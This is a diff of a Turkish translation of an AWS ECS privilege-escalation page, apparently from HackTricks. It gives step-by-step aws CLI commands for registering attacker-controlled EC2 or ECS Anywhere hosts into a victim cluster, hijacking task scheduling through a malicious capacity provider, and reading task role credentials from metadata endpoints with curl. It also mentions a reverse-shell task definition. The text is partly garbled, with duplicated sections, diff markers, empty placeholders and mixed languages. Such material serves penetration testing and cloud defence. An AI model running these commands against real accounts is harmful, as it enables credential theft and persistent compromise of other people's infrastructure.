task çalıştırın - Eğer kullanıcının **`ecs:StartTask`** izni varsa, `aws ecs start-task --enable-execute-command [...]` ile bir task çalıştırın - Eğer kullanıcının **`ecs:CreateService`** izni varsa, `aws ecs create-service --enable-execute-command [...]` ile bir service oluşturun - Eğer kullanıcının **`ecs:UpdateService`** izni varsa, `aws ecs update-service --enable-execute-command [...]` ile bir service güncelleyin -Bu seçeneklerin örneklerini **previous ECS privesc sections** içinde bulabilirsiniz. +Bu seçeneklerin **örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz. -**Potential Impact:** Konteynerlere bağlı farklı bir role privesc. +**Potential Impact:** Konteynerlere atanmış farklı bir role privesc yapılması. ### `ssm:StartSession` -**ssm privesc page** üzerinde bu izni nasıl kötüye kullanarak **ECS'ye privesc** olabileceğinize bakın: +**ssm privesc page** kısmında bu izni kullanarak **privesc to ECS** yapmanın nasıl kötüye kullanılabileceğini kontrol edin: {{#ref}} ../aws-ssm-privesc/README.md @@ -275,7 +291,7 @@ Bu seçeneklerin örneklerini **previous ECS privesc sections** içinde bulabili ### `iam:PassRole`, `ec2:RunInstances` -**ec2 privesc page** üzerinde bu izinleri nasıl kötüye kullanıp **ECS'ye privesc** yapabileceğinize bakın: +**ec2 privesc page** kısmında bu izinleri kullanarak **privesc to ECS** yapmanın nasıl kötüye kullanılabileceğini kontrol edin: {{#ref}} ../aws-ec2-privesc/README.md @@ -283,16 +299,51 @@ Bu seçeneklerin örneklerini **previous ECS privesc sections** içinde bulabili ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, potansiyel olarak bir EC2 instance'ını bir ECS cluster'ına register edebilir ve üzerinde task'lar çalıştırabilir. Bu, saldırganın ECS task'ları bağlamında rastgele kod çalıştırmasına olanak sağlayabilir. +Bu izinlere sahip bir saldırgan sıklıkla **"cluster membership"i bir güvenlik sınırını atlatma yöntemine dönüştürebilir**: + +- Bir **attacker-controlled EC2 instance** kaydederek hedef ECS cluster'a ekleyin (container instance haline gelir) +- Custom **container instance attributes** ayarlayarak **placement constraints**'ı karşılayın +- ECS'in görevleri o hosta planlamasına izin verin +- Hostunuzda çalışan task'tan **task role credentials** (ve container içindeki herhangi bir secret/veri) çalın + +Yüksek seviye iş akışı: + +1) Hedef hesapta kontrol ettiğiniz bir EC2 instance'tan EC2 instance identity document + signature elde edin (örneğin SSM/SSH üzerinden): +```bash +curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json +curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig +``` +2) Onu hedef kümeye kaydedin; yerleştirme kısıtlamalarını karşılamak için isteğe bağlı olarak öznitelikler ayarlayın: +```bash +aws ecs register-container-instance \ +--cluster "$CLUSTER" \ +--instance-identity-document file://iidoc.json \ +--instance-identity-document-signature "$(cat iisig)" \ +--attributes name=labtarget,value=hijack +``` +3) Katıldığını doğrulayın: +```bash +aws ecs list-container-instances --cluster "$CLUSTER" +``` +4) Bir task başlatın / bir service güncelleyin, böylece bir şey instance üzerinde zamanlanır; ardından task içinden task role creds'i toplayın: +```bash +# On the container host: +docker ps +docker exec -it sh +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +``` +Notlar: + +- instance identity document/signature kullanarak bir container instance'ı kaydetmek, hedef hesaptaki bir EC2 instance'ına erişiminiz olduğunu (veya onu ele geçirdiğinizi) ima eder. Cross-account "bring your own EC2" için, bu sayfadaki **ECS Anywhere** tekniğine bakın. +- Yerleştirme kısıtlamaları genellikle container instance özniteliklerine dayanır. Hangi öznitelikleri ayarlamanız gerektiğini bilmek için `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, ve `ecs:DescribeContainerInstances` ile bunları listeleyin. -- TODO: Başka bir AWS hesabından bir instance register etmek ve böylece task'ların saldırganın kontrol ettiği makinelerde çalışmasını sağlamak mümkün mü?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this +> TODO: Bunu test edin -Bu izinlere sahip bir saldırgan `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` ve `ecs:DescribeTaskSets` ile mevcut bir ECS servisi için kötü amaçlı bir task set oluşturabilir ve primary task set'i güncelleyebilir. Bu, saldırganın servis içinde rastgele kod çalıştırmasına olanak tanır. +Bir saldırgan, `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, ve `ecs:DescribeTaskSets` izinlerine sahipse, mevcut bir ECS service için **kötü amaçlı bir task set oluşturabilir ve primary task set'i güncelleyebilir**. Bu, saldırganın servisin içinde **keyfi kod çalıştırmasına** olanak tanır. ```bash # Register a task definition with a reverse shell echo '{ @@ -318,7 +369,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Olası Etki**: Etkilenen serviste keyfi kod çalıştırabilir, hizmetin işlevselliğini etkileyebilir veya hassas verileri sızdırabilir. +**Potential Impact**: Etkilenen serviste rastgele kod çalıştırma, bu servisin işlevselliğini etkileyebilir veya hassas verilerin sızdırılmasına yol açabilir. ## References @@ -330,51 +381,51 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi -### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) +### Kötü Amaçlı Capacity Provider (EC2 ASG takeover) ile ECS zamanlamasını ele geçirme -Bir saldırgan, ECS capacity provider'ları yönetme ve servisleri güncelleme izinlerine sahipse, kontrol ettiği bir EC2 Auto Scaling Group oluşturabilir, bunu bir ECS Capacity Provider ile sarmalayabilir, hedef cluster'a ilişkilendirip mağdur servisi bu provider'ı kullanacak şekilde taşıyabilir. Böylece task'lar saldırganın kontrolündeki EC2 instance'larına planlanır; bu da konteynerleri OS seviyesinde inceleme ve task role kimlik bilgilerini çalma imkanı verir. +ECS capacity provider'ları yönetme ve servisleri güncelleme izinlerine sahip bir saldırgan, kendi kontrolündeki bir EC2 Auto Scaling Group oluşturabilir, bunu bir ECS Capacity Provider içine sarabilir, hedef cluster'a iliştirebilir ve mağdur servisi bu provider'ı kullanacak şekilde taşıyabilir. Görevler daha sonra saldırgan kontrolündeki EC2 örnekleri üzerine zamanlanacak; bu da konteynerları OS seviyesinde inceleme ve görev rolü kimlik bilgilerini çalma imkanı verir. -Komutlar (us-east-1): +Commands (us-east-1): -- Önkoşullar +- Prereqs -- Hedef cluster'a katılacak ECS agent için Launch Template oluşturun +- Create Launch Template for ECS agent to join target cluster -- Auto Scaling Group oluşturun +- Create Auto Scaling Group -- ASG'den Capacity Provider oluşturun +- Create Capacity Provider from the ASG -- Capacity Provider'ı cluster'a ilişkilendirin (isteğe bağlı olarak varsayılan olarak) +- Associate the Capacity Provider to the cluster (optionally as default) -- Bir servisi kendi provider'ınıza taşıyın +- Migrate a service to your provider -- Task'ların saldırgan instance'larına indiğini doğrulayın +- Verify tasks land on attacker instances -- Opsiyonel: EC2 node'undan target konteyner'lara docker exec yapın ve task role kimlik bilgilerini elde etmek için http://169.254.170.2 adresini okuyun. +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. -- Temizlik +- Cleanup -**Olası Etki:** Saldırgan kontrollü EC2 node'ları mağdur task'larını alır; bu, konteynerlere OS seviyesinde erişim ve task IAM role kimlik bilgilerinin çalınmasına olanak sağlar. +**Potential Impact:** Saldırgan kontrollü EC2 node'ları mağdur görevleri alır; bu, konteynerlara OS seviyesinde erişim ve görev IAM rolü kimlik bilgilerinin çalınmasını sağlar.
-Adım adım komutlar (kopyala/yapıştır) +Step-by-step commands (copy/paste)
 export AWS_DEFAULT_REGION=us-east-1
 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -407,25 +458,25 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
 
-### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration +### ECS Anywhere EXTERNAL kaydı yoluyla küme içinde compute'a arka kapı açma -ECS Anywhere'ı kötüye kullanarak saldırgan kontrollü bir host'u, mağdur ECS cluster'ında EXTERNAL container instance olarak kaydedebilir ve bu host'ta ayrıcalıklı task ve execution rolleri kullanarak task'ları çalıştırabilirsiniz. Bu, task'ların nerede çalışacağı üzerinde OS seviyesinde kontrol sağlar (kendi makineniz) ve capacity provider'lar veya ASG'lerle uğraşmadan task'lardan ve bağlı volümlerden kimlik bilgisi/veri sızdırılmasına izin verir. +ECS Anywhere'ı kötüye kullanarak, saldırganın kontrolündeki bir hostu mağdur ECS cluster'ında EXTERNAL container instance olarak kaydettirebilir ve bu hostta privileged task ve execution role'leri kullanarak görevler çalıştırabilirsiniz. Bu, görevlerin nerede çalıştırılacağı üzerinde (kendi makineniz) OS seviyesi kontrol sağlar ve task'lerden ve bağlı volume'lerden kimlik bilgisi/veri sızdırmaya olanak verir; capacity provider'lar veya ASG'lerle uğraşmaya gerek kalmaz. -- Gerekli izinler (örnek minimum): +- Required perms (example minimal): - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation -- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere instance rolü ve task/execution rolleri için) -- logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs kullanılıyorsa) +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) -- Etki: Saldırgan host üzerinde seçilen taskRoleArn ile keyfi container'lar çalıştırma; task-role kimlik bilgilerini 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI üzerinden sızdırma; task'lar tarafından mount edilmiş volümlere erişim; capacity provider/ASG manipülasyonuna göre daha gizli. +- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs. -Adımlar +Steps -1) Cluster oluşturun/tespit edin (us-east-1) +1) Create/identify cluster (us-east-1) ```bash aws ecs create-cluster --cluster-name ht-ecs-anywhere ``` -2) ECS Anywhere rolü ve SSM aktivasyonu oluşturun (on-prem/EXTERNAL instance için) +2) ECS Anywhere rolü oluştur ve SSM aktivasyonu (on-prem/EXTERNAL instance için) ```bash aws iam create-role --role-name ecsAnywhereRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' @@ -434,7 +485,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam: ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) ``` -3) Saldırgan hostu oluşturun ve onu EXTERNAL olarak otomatik kaydedin (örnek: küçük AL2 EC2 “on‑prem”) +3) Saldırgan hostunu konuşlandır ve otomatik olarak EXTERNAL olarak kaydet (örnek: küçük AL2 EC2 “on‑prem”)
user-data.sh @@ -455,14 +506,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` -4) EXTERNAL konteyner örneğinin katıldığını doğrulayın +4) DIŞ container örneğinin katıldığını doğrulayın ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` -5) task/execution roles oluşturun, EXTERNAL task definition'ı kaydedin ve bunu attacker host üzerinde çalıştırın +5) task/execution rolleri oluşturun, EXTERNAL task definition'ı kaydedin ve bunu attacker host üzerinde çalıştırın ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ @@ -498,26 +549,24 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ --container-instances $CI ``` -6) Buradan task'ları çalıştıran hostu kontrol edersiniz. Task log'larını okuyabilirsiniz (eğer awslogs ise) veya host üzerinde doğrudan exec yaparak task'larınızdaki kimlik bilgilerini/verileri sızdırabilirsiniz. +6) Buradan görevleri çalıştıran host'u kontrol edersiniz. Task loglarını okuyabilirsiniz (awslogs ise) veya doğrudan host'ta exec yaparak görevlerinizden kimlik bilgilerini/verileri dışarı çıkarabilirsiniz. - - -#### Command example (placeholders) +#### Komut örneği (placeholders) ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) -ECS capacity provider'ları yönetme ve servisleri güncelleme izinlerine sahip bir saldırgan, kontrol ettiği bir EC2 Auto Scaling Group oluşturabilir, bunu bir ECS Capacity Provider içine sarabilir, hedef cluster'a iliştirebilir ve mağdur servisi bu provider'ı kullanacak şekilde taşıyabilir. Böylece task'lar saldırgan kontrollü EC2 instance'larına planlanır; bu da konteynerleri incelemek ve task role kimlik bilgilerini çalmak için OS seviyesinde erişim sağlar. +Bir saldırgan, ECS capacity provider'ları yönetme ve servisleri güncelleme izinlerine sahipse kendi kontrolünde bir EC2 Auto Scaling Group oluşturabilir, bunu bir ECS Capacity Provider içine sarıp hedef cluster'a ilişkilendirip mağdur servisi bu provider'ı kullanacak şekilde taşıyabilir. Görevler daha sonra saldırgan kontrolündeki EC2 instance'larına planlanacak; bu da container'ları OS düzeyinde inceleme ve task role kimlik bilgilerini çalma imkanı sağlar. Commands (us-east-1): -- Ön Gereksinimler +- Önkoşullar -- Hedef cluster'a katılmak için ECS agent'ın kullanacağı Launch Template oluşturun +- Hedef cluster'a katılması için ECS agent içeren Launch Template oluşturun @@ -529,23 +578,23 @@ Commands (us-east-1): -- Capacity Provider'ı cluster'a iliştirin (isteğe bağlı olarak varsayılan yapabilirsiniz) +- Capacity Provider'ı cluster ile ilişkilendirin (isteğe bağlı olarak varsayılan yapın) -- Bir servisi provider'ınıza taşıyın +- Bir service'i sağlayıcınıza taşıyın -- Task'ların saldırgan instance'larına düştüğünü doğrulayın +- Görevlerin saldırgan kontrollü instance'lara düştüğünü doğrulayın -- Opsiyonel: EC2 node'undan, docker exec ile hedef konteynerlere girin ve task role kimlik bilgilerini almak için http://169.254.170.2 adresini okuyun. +- İsteğe bağlı: EC2 node'undan, hedef container'lara docker exec ile girin ve task role kimlik bilgilerini almak için http://169.254.170.2 adresini okuyun. -- Temizlik +- Temizleme -**Olası Etki:** Saldırgan kontrollü EC2 node'larına mağdur task'ları yerleştirilir; bu, konteynerlere OS seviyesinde erişim ve task IAM role kimlik bilgilerinin çalınmasına izin verir. +**Olası Etki:** Saldırgan kontrollü EC2 node'ları mağdur görevleri alır; bu, container'lara OS düzeyinde erişim ve task IAM rolü kimlik bilgilerinin çalınmasını mümkün kılar. {{#include ../../../../banners/hacktricks-training.md}}